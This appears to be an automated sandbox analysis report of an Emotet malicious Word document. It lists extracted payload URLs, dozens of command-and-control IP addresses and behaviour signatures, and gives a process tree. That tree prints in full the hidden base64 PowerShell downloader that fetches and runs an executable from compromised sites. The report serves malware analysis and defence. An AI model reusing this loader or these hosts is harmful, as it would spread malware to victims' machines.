Analysis
-
max time kernel
132s -
resource
win10v191014 -
submitted
09-12-2019 13:55
Task
task1
Sample
Docs_9d7f3caa367ce2f658699461660b4254.45.doc
Resource
win7v191014
General
Malware Config
Extracted
http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
https://raasset.com/x/crHctWU/
http://alexandrearealty.com/tmp/OyjFYg/
http://mehuaedxb.com/css/qIkFIs/
http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/
Extracted
emotet
24.27.122.202:80
67.171.182.231:80
190.171.135.235:80
103.9.145.19:8080
46.105.128.215:8080
172.105.213.30:80
69.30.205.162:7080
115.179.91.58:80
181.44.166.242:80
78.46.87.133:8080
81.213.145.45:443
83.156.88.159:80
210.111.160.220:80
195.191.107.67:80
192.241.220.183:8080
1.32.54.12:8080
192.161.190.171:8080
190.189.79.73:80
122.11.164.183:80
41.77.74.214:443
212.129.14.27:8080
162.144.46.90:8080
142.93.87.198:8080
201.196.15.79:990
83.110.107.243:443
77.245.12.212:80
211.218.105.101:80
187.250.92.82:80
193.33.38.208:443
85.109.190.235:443
192.210.217.94:8080
200.71.112.158:53
190.161.67.63:80
186.66.224.182:990
152.169.32.143:8080
41.218.118.66:80
45.129.121.222:443
72.69.99.47:80
85.105.183.228:443
191.100.24.201:50000
23.253.207.142:8080
216.75.37.196:8080
95.216.212.157:8080
113.52.135.33:7080
212.112.113.235:80
190.5.162.204:80
83.99.211.160:80
86.6.123.109:80
110.142.161.90:80
172.90.70.168:443
89.215.225.15:80
98.15.140.226:80
5.189.148.98:8080
187.233.220.93:443
188.230.134.205:80
181.47.235.26:993
82.79.244.92:80
189.61.200.9:443
221.154.59.110:80
67.254.196.78:443
210.224.65.117:80
198.57.217.170:8080
201.183.251.100:80
177.103.201.23:80
46.105.131.68:8080
192.163.221.191:8080
46.17.6.116:8080
81.82.247.216:80
178.134.1.238:80
176.58.93.123:80
181.197.108.171:443
187.177.155.123:990
190.101.87.170:80
186.215.101.106:80
119.159.150.176:443
174.57.150.13:8080
58.93.151.148:80
37.59.24.25:8080
91.117.31.181:80
95.216.207.86:7080
123.142.37.165:80
182.176.116.139:995
103.122.75.218:80
78.186.102.195:80
124.150.175.129:8080
143.95.101.72:8080
51.38.134.203:8080
138.197.140.163:8080
172.104.70.207:8080
189.225.211.171:443
124.150.175.133:80
24.28.178.71:80
60.53.3.153:8080
72.27.212.209:8080
163.172.97.112:8080
50.116.78.109:8080
Signatures
-
Drops file in System32 directory 6 IoCs
Processes:
acquireacquire.exe938.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies acquireacquire.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 acquireacquire.exe File renamed C:\Users\Admin\938.exe => C:\Windows\SysWOW64\acquireacquire.exe 938.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat acquireacquire.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 acquireacquire.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE acquireacquire.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
SppExtComObj.exePowershell.exe938.exeacquireacquire.exedescription pid process target process PID 4412 wrote to memory of 4532 4412 SppExtComObj.exe SLUI.exe PID 4620 wrote to memory of 4380 4620 Powershell.exe 938.exe PID 4380 wrote to memory of 4072 4380 938.exe 938.exe PID 3388 wrote to memory of 368 3388 acquireacquire.exe acquireacquire.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exeacquireacquire.exepid process 4620 Powershell.exe 368 acquireacquire.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4936 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4620 Powershell.exe -
Executes dropped EXE 4 IoCs
Processes:
938.exe938.exeacquireacquire.exeacquireacquire.exepid process 4380 938.exe 4072 938.exe 3388 acquireacquire.exe 368 acquireacquire.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
938.exeacquireacquire.exepid process 4072 938.exe 368 acquireacquire.exe -
Processes:
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4936 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE938.exe938.exeacquireacquire.exeacquireacquire.exepid process 4936 WINWORD.EXE 4380 938.exe 4072 938.exe 3388 acquireacquire.exe 368 acquireacquire.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.45.doc" /o ""1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\938.exe"C:\Users\Admin\938.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\938.exe--1d0cddc3⤵
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵
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C:\Windows\SysWOW64\acquireacquire.exe"C:\Windows\SysWOW64\acquireacquire.exe"1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\acquireacquire.exe--bcb03922⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\938.exe
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C:\Users\Admin\938.exe
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C:\Users\Admin\938.exe
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C:\Windows\SysWOW64\acquireacquire.exe
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C:\Windows\SysWOW64\acquireacquire.exe
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memory/368-26-0x0000000000E10000-0x0000000000E27000-memory.dmpFilesize
92KB
-
memory/368-27-0x0000000000400000-0x00000000004A2000-memory.dmpFilesize
648KB
-
memory/3388-24-0x00000000007C0000-0x00000000007D7000-memory.dmpFilesize
92KB
-
memory/4072-10-0x0000000002070000-0x0000000002087000-memory.dmpFilesize
92KB
-
memory/4072-11-0x0000000000400000-0x00000000004A2000-memory.dmpFilesize
648KB
-
memory/4380-8-0x00000000022B0000-0x00000000022C7000-memory.dmpFilesize
92KB